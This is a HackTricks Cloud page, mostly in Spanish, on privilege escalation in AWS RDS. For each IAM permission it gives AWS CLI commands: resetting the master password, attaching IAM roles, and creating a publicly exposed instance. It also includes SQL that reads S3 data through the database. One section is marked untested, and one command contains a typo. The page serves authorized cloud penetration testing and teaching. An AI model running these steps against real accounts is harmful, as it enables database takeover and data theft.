AWS - RDS Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
RDS - Relational Database Service
Para más información sobre RDS, consulta:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Con ese permiso, un atacante puede modificar la contraseña del usuario principal, y las credenciales de acceso dentro de la base de datos:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Necesitarás poder ponerte en contacto con la base de datos (por lo general sólo son accesibles desde redes internas).
Potential Impact: Encontrar información sensible dentro de las bases de datos.
rds-db:connect
According to the docs a user with this permission could connect to the DB instance.
Abusar de permisos IAM del Role de RDS
Postgresql (Aurora)
Tip
Si ejecutas
SELECT datname FROM pg_database;y encuentras una base de datos llamadardsadmin, sabes que estás dentro de una AWS postgresql database.
Primero puedes comprobar si esta base de datos se ha usado para acceder a algún otro servicio de AWS. Puedes verificarlo mirando las extensiones instaladas:
SELECT * FROM pg_extension;
Si encuentras algo como aws_s3, puedes asumir que esta base de datos tiene algún tipo de acceso a S3 (hay otras extensiones como aws_ml y aws_lambda).
Además, si tienes permisos para ejecutar aws rds describe-db-clusters, puedes ver ahí si el cluster tiene alguna IAM Role adjunta en el campo AssociatedRoles. Si la hay, puedes asumir que la base de datos fue preparada para acceder a otros servicios de AWS. Basándote en el nombre del rol (o si puedes obtener los permisos del rol) podrías adivinar qué acceso extra tiene la base de datos.
Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Si tuvieras credenciales AWS sin procesar, también podrías usarlas para acceder a datos de S3 con:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql doesn’t need to change any parameter group variable para poder acceder a S3.
Mysql (Aurora)
Tip
Dentro de un mysql, si ejecutas la consulta
SELECT User, Host FROM mysql.user;y existe un usuario llamadordsadmin, puedes asumir que estás dentro de una AWS RDS mysql db.
Dentro del mysql ejecuta show variables; y si las variables como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes comprobar si el cluster tiene algún rol asociado (associated role), lo cual suele significar acceso a servicios de AWS).
Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un atacante con los permisos rds:AddRoleToDBCluster e iam:PassRole puede añadir un rol especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potential Impact: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
Tenga en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los grupos de parámetros.
rds:CreateDBInstance
Con solo este permiso, un atacante podría crear una nueva instancia dentro de un cluster que ya existe y tiene un IAM role adjunto. No podrá cambiar la contraseña del master user, pero podría exponer la nueva instancia de base de datos a Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Probar
Un atacante con los permisos rds:CreateDBInstance y iam:PassRole puede crear una nueva instancia RDS con un rol especificado adjunto. El atacante podría entonces potencialmente acceder a datos sensibles o modificar los datos dentro de la instancia.
Warning
Algunos requisitos del role/instance-profile para adjuntar (desde here):
- El profile debe existir en tu cuenta.
- El profile debe tener un IAM role que Amazon EC2 tenga permisos para asumir.
- El nombre del instance profile y el nombre del IAM role asociado deben comenzar con el prefijo
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia de RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un atacante con los permisos rds:AddRoleToDBInstance y iam:PassRole puede añadir un role especificado a una instancia de RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.
Warning
La instancia de DB debe estar fuera de un cluster para esto
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

